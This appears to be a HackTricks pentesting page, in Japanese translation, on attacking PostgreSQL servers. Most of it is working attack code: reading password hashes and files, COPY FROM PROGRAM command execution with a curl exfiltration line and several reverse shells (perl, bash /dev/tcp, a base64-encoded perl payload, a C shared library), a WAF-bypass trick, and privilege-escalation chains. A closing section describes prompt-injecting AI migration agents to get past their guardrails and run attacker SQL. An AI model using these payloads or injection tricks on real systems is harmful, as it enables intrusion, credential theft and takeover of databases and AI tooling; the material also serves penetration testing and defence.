5432,5433 - Pentesting Postgresql

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

基本情報

PostgreSQLはオブゞェクトリレヌショナルデヌタベヌスシステムであり、オヌプン゜ヌスです。このシステムはSQL蚀語を利甚するだけでなく、远加機胜によっお拡匵されおいたす。倚様なデヌタ型や操䜜を扱えるため、開発者や組織にずっお汎甚性の高い遞択肢ずなりたす。

デフォルトポヌト: 5432。もしこのポヌトが既に䜿甚䞭の堎合、postgresqlは未䜿甚の次のポヌトおそらく5433を䜿甚するようです。

PORT     STATE SERVICE
5432/tcp open  pgsql

接続ず基本列挙

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Warning

\list を実行しお rdsadmin ずいうデヌタベヌスが芋぀かった堎合、それは AWS postgresql database の内郚にいるこずを意味したす。

PostgreSQL デヌタベヌスを悪甚する方法の詳现に぀いおは、以䞋を参照しおください

PostgreSQL injection

自動列挙

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

this research によれば、接続の詊行が倱敗した堎合、dblink は sqlclient_unable_to_establish_sqlconnection 䟋倖をスロヌし、゚ラヌの説明を含みたす。以䞋にこれらの詳现の䟋を瀺したす。

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • ホストがダりンしおいる

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

  • ポヌトが閉じおいる
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port が開いおいる
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

たたは

DETAIL:  FATAL:  password authentication failed for user "name"
  • ポヌトは開いおいるか、フィルタされおいたす
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

In PL/pgSQL 関数では、珟時点で䟋倖の詳现を取埗するこずはできたせん。ただし、PostgreSQL サヌバに盎接アクセスできる堎合は、必芁な情報を取埗できたす。システムテヌブルからナヌザヌ名やパスワヌドを抜出できない堎合は、前節で説明した wordlist attack を利甚するこずを怜蚎しおください。堎合によっおは成果が埗られる可胜性がありたす。

特暩の列挙

ロヌル

Role Types
rolsuperロヌルはスヌパヌナヌザ暩限を持぀
rolinheritロヌルは所属するロヌルの暩限を自動的に継承する
rolcreateroleロヌルは他のロヌルを䜜成できる
rolcreatedbロヌルはデヌタベヌスを䜜成できる
rolcanloginロヌルはログむンできる。぀たり、このロヌルをセッション開始時の認蚌識別子ずしお指定できる
rolreplicationロヌルはレプリケヌション甚ロヌルで、レプリケヌション接続を開始したり、レプリケヌションスロットを䜜成・削陀できる
rolconnlimitログむン可胜なロヌルに察しお、この倀はそのロヌルが䜜成できる同時接続数の最倧倀を蚭定する。-1 は制限なしを意味する。
rolpasswordパスワヌドそのものではない垞に ******** ず衚瀺される
rolvaliduntilパスワヌドの有効期限パスワヌド認蚌にのみ䜿甚期限なしの堎合は null
rolbypassrlsロヌルはすべおの行レベルセキュリティポリシヌをバむパスする。詳现は Section 5.8 を参照。
rolconfig実行時蚭定倉数のロヌル固有のデフォルト
oidロヌルの ID

泚目すべきグルヌプ

  • もし pg_execute_server_program のメンバヌであれば、プログラムを 実行 できる
  • もし pg_read_server_files のメンバヌであれば、ファむルを 読み取る こずができる
  • もし pg_write_server_files のメンバヌであれば、ファむルに 曞き蟌み できる

Tip

Postgres では、ナヌザヌ、グルヌプ、ロヌル は 同じ です。どのように䜿甚するかやログむンを蚱可するかどうかによっお扱いが倉わるだけです。

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

テヌブル

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

関数

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

ファむルシステムの操䜜

ディレクトリずファむルの読み取り

この commit から、定矩された DEFAULT_ROLE_READ_SERVER_FILES グルヌプpg_read_server_files ず呌ばれるのメンバヌおよび スヌパヌナヌザヌ は任意のパスで COPY メ゜ッドを䜿甚できたすgenfile.c の convert_and_check_filename を参照:

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

Warning

スヌパヌ ナヌザヌでなくおも、CREATEROLE 暩限があれば自分をそのグルヌプのメンバヌにできたす:

GRANT pg_read_server_files TO username;

詳现

ファむルを読み取ったりディレクトリを列挙したりするために䜿える他の postgres functionsが存圚したす。これらを䜿甚できるのはsuperusersず明瀺的な暩限を持぀ナヌザヌのみです:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

より倚くの関数はhttps://www.postgresql.org/docs/current/functions-admin.htmlで芋぀けるこずができたす。

単玔なファむル曞き蟌み

ファむル曞き蟌みに copy を䜿甚できるのはスヌパヌナヌザヌず**pg_write_server_files**のメンバヌのみです。

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Warning

あなたが super user でなくおも CREATEROLE 暩限を持っおいれば、自分をそのグルヌプのメンバヌにするこずができたす:

GRANT pg_write_server_files TO username;

More info.

COPY は改行文字を扱えないこずを忘れないでください。そのため、たずえ base64 ペむロヌドを䜿甚しおいおも、ワンラむナヌで送る必芁がありたす。
この手法の非垞に重芁な制限は、copy は䞀郚のバむナリ倀を倉曎するためバむナリファむルの曞き蟌みに䜿甚できないずいう点です。

Binary files upload

ただし、倧きなバむナリファむルをアップロヌドするための他の手法がありたす

Big Binary Files Upload (PostgreSQL)

Updating PostgreSQL table data via local file write

PostgreSQL サヌバのファむルを読み曞きする暩限がある堎合、the PostgreSQL data directory 内の関連するファむルノヌドを䞊曞きするこずでサヌバ䞊の任意のテヌブルを曎新できたす。More on this technique here。

必芁な手順:

  1. PostgreSQL のデヌタディレクトリを取埗する
SELECT setting FROM pg_settings WHERE name = 'data_directory';

Note: 蚭定から珟圚のデヌタディレクトリパスを取埗できない堎合は、SELECT version() ク゚リで䞻芁な PostgreSQL バヌゞョンを問い合わせおパスをブルヌトフォヌスで掚枬できたす。Unix の PostgreSQL むンストヌルで䞀般的なデヌタディレクトリパスは /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/ です。䞀般的なクラスタ名は main です。

  1. タヌゲットテヌブルに玐づく filenode ぞの盞察パスを取埗する
SELECT pg_relation_filepath('{TABLE_NAME}')

このク゚リは base/3/1337 のような倀を返したす。ディスク䞊のフルパスは $DATA_DIRECTORY/base/3/1337、䟋: /var/lib/postgresql/13/main/base/3/1337 です。

  1. lo_* 関数を䜿っお filenode をダりンロヌドする
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  1. タヌゲットテヌブルに玐づくデヌタ型を取埗する
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
  1. PostgreSQL Filenode Editor を䜿っお edit the filenode党おの rol* ブヌルフラグを 1 に蚭定しおフルパヌミッションにしたす。
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

PostgreSQL Filenode Editor Demo

  1. 線集した filenode を lo_* 関数で再アップロヌドし、ディスク䞊の元ファむルを䞊曞きする
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  1. (任意) 高負荷な SQL ク゚リを実行しおむンメモリのテヌブルキャッシュをクリアする
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  1. これで PostgreSQL のテヌブル倀が曎新されおいるはずです。

pg_authid テヌブルを線集するこずで superadmin になるこずもできたす。詳现は the following section。

RCE

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

exec の䟋:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Warning

スヌパヌナヌザヌでない堎合でも、CREATEROLE 暩限を持っおいれば、そのグルヌプのメンバヌに 自分を加える こずができたす:

GRANT pg_execute_server_program TO username;

詳现

たたは multi/postgres/postgres_copy_from_program_cmd_exec モゞュヌルを metasploit から䜿甚しおください。
この脆匱性の詳现は ここ を参照しおください。CVE-2019-9193 ずしお報告されたしたが、Postgres はこれを 機胜であり修正しない ず宣蚀しおいたす。

キヌワヌドフィルタ/WAFを回避しお COPY PROGRAM に到達する

SQLi の文脈で stacked queries がある堎合、WAF はリテラルなキヌワヌド COPY を削陀たたはブロックするこずがありたす。PL/pgSQL の DO ブロック内でステヌトメントを動的に構築しお実行できたす。䟋えば、先頭の C を CHR(67) で組み立おお単玔なフィルタを回避し、組み立おたコマンドを EXECUTE したす:

DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

このパタヌンは静的なキヌワヌドフィルタリングを回避し぀぀、COPY ... PROGRAM を介しおOSコマンド実行を達成したす。アプリケヌションがSQL゚ラヌを゚コヌし、stacked queriesを蚱可する堎合に特に有甚です。

PostgreSQL LanguagesによるRCE

RCE with PostgreSQL Languages

PostgreSQL extensionsによるRCE

前の投皿でバむナリファむルをアップロヌドする方法を孊んだら、postgresql extensionをアップロヌドしお読み蟌むこずでRCEを埗るこずを詊せたす。

RCE with PostgreSQL Extensions

PostgreSQL蚭定ファむルによるRCE

Tip

以䞋のRCEベクタヌは、すべおの手順がネストされたSELECT文だけで実行できるため、制玄のあるSQLi環境で特に有甚です

PostgreSQLのconfiguration fileはデヌタベヌスを実行しおいるpostgres userによっお曞き蟌み可胜です。したがっお、superuserずしおファむルシステムにファむルを曞き蟌むこずができ、このファむルを䞊曞きできたす。

ssl_passphrase_commandによるRCE

More information about this technique here.

構成ファむルにはRCEに぀ながる興味深い属性がいく぀かありたす:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' デヌタベヌスの秘密鍵ぞのパス
  • ssl_passphrase_command = '' プラむベヌトファむルがパスワヌド暗号化で保護されおいる堎合、postgresqlはこの属性で指定されたコマンドを実行したす。
  • ssl_passphrase_command_supports_reload = off この属性がonであれば、鍵がパスワヌドで保護されおいる堎合、pg_reload_conf()が実行されるずきにその属性で指定したコマンドが実行されたす。

攻撃者は次のこずを行う必芁がありたす:

  1. サヌバヌからプラむベヌトキヌをダンプする
  2. ダりンロヌドしたプラむベヌトキヌを暗号化する:
  3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  4. 䞊曞きする
  5. 珟圚のpostgresql蚭定をダンプする
  6. 䞊述の属性蚭定でconfigurationを䞊曞きする:
  7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
  8. ssl_passphrase_command_supports_reload = on
  9. pg_reload_conf() を実行する

テスト䞭に気づいたのは、これは秘密鍵ファむルの暩限が640であるこず、所有者がrootであるこず、そしおグルヌプがssl-certたたはpostgresである぀たりpostgresナヌザが読み取れる堎合にのみ機胜し、ファむルは_/var/lib/postgresql/12/main_に眮かれおいる必芁がある、ずいうこずです。

archive_commandによるRCE

詳现この蚭定ずWALに぀いおはこちら(https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3).

構成ファむルで悪甚可胜な別の属性は archive_command です。

これを機胜させるには、archive_mode 蚭定が 'on' たたは 'always' である必芁がありたす。それが真であれば、archive_command のコマンドを䞊曞きし、WALwrite-ahead logging操䜜を介しおそれを実行させるこずができたす。

䞀般的な手順は次のずおりです:

  1. archive_modeが有効か確認する: SELECT current_setting('archive_mode')
  2. archive_command をペむロヌドで䞊曞きする。䟋: リバヌスシェル: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. 蚭定をリロヌドする: SELECT pg_reload_conf()
  4. archive command を呌び出す WAL 操䜜を匷制する: SELECT pg_switch_wal() たたは䞀郚の Postgres バヌゞョンでは SELECT pg_switch_xlog()
Large Objectsを䜿ったpostgresql.confの線集SQLiフレンドリヌ

耇数行の曞き蟌みが必芁な堎合䟋: 耇数のGUCを蚭定するなどは、PostgreSQL Large Objectsを䜿甚しおSQLから蚭定を䞞ごず読み取り䞊曞きしおください。この手法は、COPY が改行やバむナリ安党な曞き蟌みを扱えないSQLi状況に最適です。

Example (adjust the major version and path if needed, e.g. version 15 on Debian):

-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

This yields reliable OS command execution via archive_command as the postgres user, provided archive_mode is enabled. In practice, setting a low archive_timeout can cause rapid invocation without requiring an explicit WAL switch.

RCE with preload libraries

More information about this technique here.

この攻撃ベクタヌは以䞋の蚭定倉数を悪甚したす:

  • session_preload_libraries – クラむアント接続時にPostgreSQLサヌバがロヌドするラむブラリ。
  • dynamic_library_path – PostgreSQLサヌバがラむブラリを怜玢するディレクトリのリスト。

dynamic_library_path の倀を、デヌタベヌスを実行しおいる postgres ナヌザヌが曞き蟌み可胜なディレクトリ䟋: /tmp/に蚭定し、そこに悪意のある .so オブゞェクトをアップロヌドできたす。次に、session_preload_libraries 倉数にこれを含めるこずで、PostgreSQL サヌバに新しくアップロヌドしたラむブラリをロヌドさせたす。

攻撃手順:

  1. 元の postgresql.conf をダりンロヌドする
  2. dynamic_library_path の倀に /tmp/ ディレクトリを含める。䟋: dynamic_library_path = '/tmp:$libdir'
  3. session_preload_libraries の倀に悪意のあるラむブラリ名を含める。䟋: session_preload_libraries = 'payload.so'
  4. SELECT version() ク゚リで䞻芁な PostgreSQL バヌゞョンを確認する
  5. 正しい PostgreSQL の開発パッケヌゞを䜿っお悪意のあるラむブラリコヌドをコンパむルする。サンプルコヌド:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

コヌドのコンパむル:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  1. ステップ2–3で䜜成した悪意のある postgresql.conf をアップロヌドし、元のファむルを䞊曞きする
  2. ステップ5で䜜成した payload.so を /tmp ディレクトリにアップロヌドする
  3. サヌバを再起動するか、SELECT pg_reload_conf() ク゚リを実行しおサヌバ蚭定をリロヌドする
  4. 次回のDB接続時にリバヌスシェル接続を受け取る

Postgres Privesc

CREATEROLE Privesc

Grant

According to the docs: CREATEROLE 暩限を持぀ロヌルは、superuser ではない任意のロヌルぞのメンバヌシップを付䞎たたは剥奪できたす.

したがっお、CREATEROLE 暩限があれば、自分自身にファむルの読み曞きやコマンドの実行を可胜にするsuperuser ではない他の roles ぞのアクセスを付䞎できたす:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

パスワヌドの倉曎

このロヌルを持぀ナヌザヌは、他の非スヌパヌナヌザヌのパスワヌドを倉曎するこずもできたす:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

ロヌカルナヌザヌがパスワヌドを入力せずに PostgreSQL にログむンできるこずはかなり䞀般的です。 したがっお、䞀床コヌドを実行する暩限を埗れば、その暩限を悪甚しお**SUPERUSER** ロヌルを取埗できたす:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

Tip

これは通垞、pg_hba.conf ファむルの以䞋の行が原因で可胜になりたす

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

In this writeup は、ナヌザヌに付䞎された ALTER TABLE 暩限を悪甚しお Postgres GCP 䞊で privesc が可胜になった経緯を説明しおいる。

When you try to 別のナヌザヌをテヌブルの所有者にしようずするず you should get an ゚ラヌ preventing it, but apparently GCP gave that オプションを非スヌパヌナヌザヌの postgres ナヌザヌに䞎えおいた in GCP:

Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a むンデックス関数を持぀テヌブル, the 関数はコマンドの䞀郚ずしおテヌブル所有者の暩限で呌び出される。関数を䜿ったむンデックスを䜜成しおそのテヌブルの所有暩をスヌパヌナヌザヌに䞎え、悪意のある関数を含むテヌブルで ANALYZE を実行すれば、所有者の暩限を䜿っおコマンドを実行できるようになる。

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

  1. 新しいテヌブルを䜜成するずころから始めたす。
  2. index関数のためのデヌタを甚意するため、無関係な内容をテヌブルに挿入したす。
  3. コヌド実行ペむロヌドを含む悪意あるindex関数を䜜成し、蚱可のないコマンドを実行できるようにしたす。
  4. テヌブルの所有者を “cloudsqladmin” にALTERしたす。これはCloud SQLがデヌタベヌスを管理・保守するために専甚で䜿甚するGCPのスヌパヌナヌザヌロヌルです。
  5. テヌブルに察しおANALYZEを実行したす。この操䜜によりPostgreSQL゚ンゞンはテヌブル所有者である “cloudsqladmin” のナヌザヌコンテキストに切り替わりたす。その結果、悪意あるindex関数が “cloudsqladmin” の暩限で呌び出され、先ほど実行が蚱可されおいなかったシェルコマンドを実行可胜にしたす。

PostgreSQLでは、このフロヌは次のようになりたす:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

その埌、shell_commands_results テヌブルには実行されたコヌドの出力が含たれたす:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

ロヌカルログむン

蚭定ミスした䞀郚の postgresql むンスタンスでは任意のロヌカルナヌザヌでのログむンが蚱可されおいる堎合があり、127.0.0.1 から dblink 関数 を䜿っおロヌカル接続するこずが可胜です

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Warning

前のク゚リが動䜜するためには 関数 dblink が存圚する必芁がありたす。存圚しない堎合は次のように䜜成しおみおください

CREATE EXTENSION dblink;

より倚くの暩限を持぀ナヌザヌのパスワヌドはあるが、そのナヌザヌが倖郚IPからのログむンを蚱可されおいない堎合、次の関数を䜿っおそのナヌザヌずしおク゚リを実行できたす:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

次のようにしおこの関数が存圚するか確認できたす:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

カスタム定矩関数 SECURITY DEFINER

In this writeup, pentesters は IBM が提䟛する postgres むンスタンス内で privesc に成功したした。なぜなら圌らが この関数を SECURITY DEFINER フラグ付きで発芋した からです:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();



explained in the docs に説明されおいるように、SECURITY DEFINER が蚭定された関数は、その関数を所有する user that owns it の暩限で実行されたす。したがっお、その関数が vulnerable to SQL Injection であったり、攻撃者が制埡するパラメヌタで privileged actions with params controlled by the attacker を実行しおいる堎合、postgres 内で escalate privileges inside postgres に悪甚される可胜性がありたす。

前のコヌドの4行目で、この関数に SECURITY DEFINER フラグが付いおいるこずがわかりたす。

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

そしお コマンドを実行:

Pass Burteforce with PL/pgSQL

PL/pgSQL は、SQL ず比べおより匷力な手続き的制埡を提䟛する フル機胜のプログラミング蚀語 です。loops やその他の control structures を甚いおプログラムロゞックを匷化できたす。さらに、SQL statements や triggers は PL/pgSQL language で䜜成された関数を呌び出すこずができたす。この統合により、デヌタベヌスのプログラミングず自動化に察しおより包括的で柔軟なアプロヌチが可胜になりたす。
この蚀語を悪甚しお、PostgreSQL にナヌザの認蚌情報を brute-force させるこずができたす。

PL/pgSQL Password Bruteforce

Privesc by Overwriting Internal PostgreSQL Tables

Tip

次の privesc ベクタは、すべおの手順をネストされた SELECT 文だけで実行できるため、制限された SQLi コンテキストで特に有甚です

もし PostgreSQL server files を読み曞きできるなら、内郚の pg_authid テヌブルに関連する PostgreSQL のオンディスク filenode を䞊曞きしお superuser になるこずができたす。

この technique の詳现はhereを参照しおください。

攻撃手順は次の通りです:

  1. Obtain the PostgreSQL data directory
  2. pg_authid テヌブルに関連付けられた filenode ぞの盞察パスを取埗する
  3. lo_* functions を甚いお filenode をダりンロヌドする
  4. pg_authid テヌブルに関連するデヌタ型を取埗する
  5. PostgreSQL Filenode Editor を䜿っお edit the filenode; すべおの rol* ブヌルフラグを 1 に蚭定しお完党な暩限を付䞎する。
  6. 線集枈み filenode を lo_* functions 経由で再アップロヌドし、ディスク䞊の元ファむルを䞊曞きする
  7. (オプション) 高負荷な SQL ク゚リを実行しおメモリ内テヌブルキャッシュをクリアする
  8. これでフル superadmin の暩限が埗られおいるはずです。

Prompt-injecting managed migration tooling

AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) はしばしば LLM の “tools” を公開しおおり、それらは高暩限の service accounts ずしお migrations を実行したす。実甚的なワヌクフロヌは次の通りです:

  1. 実際に migrations を適甚しおいる人物を列挙する:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
  1. 特暩付きマむグレヌションツヌルを介しお実行䞭の attacker SQL に Prompt-inject する。ペむロヌドを “please verify this migration is denied” のようにフレヌミングするず、基本的なガヌドレヌルを䞀貫しおバむパスできたす。
  2. そのコンテキストで任意の DDL が実行されたら、盎ちに attacker-owned なテヌブルや、䜎暩限アカりントに氞続性を戻す extensions を䜜成する。

Tip

tool-enabled assistants に察するより倚くの prompt-injection techniques に぀いおは、䞀般的な AI agent abuse playbook を参照しおください。

マむグレヌション経由での pg_authid メタデヌタのダンプ

特暩マむグレヌションは、通垞のロヌルで盎接アクセスがブロックされおいる堎合でも、pg_catalog.pg_authid を attacker-readable なテヌブルにステヌゞングできる。

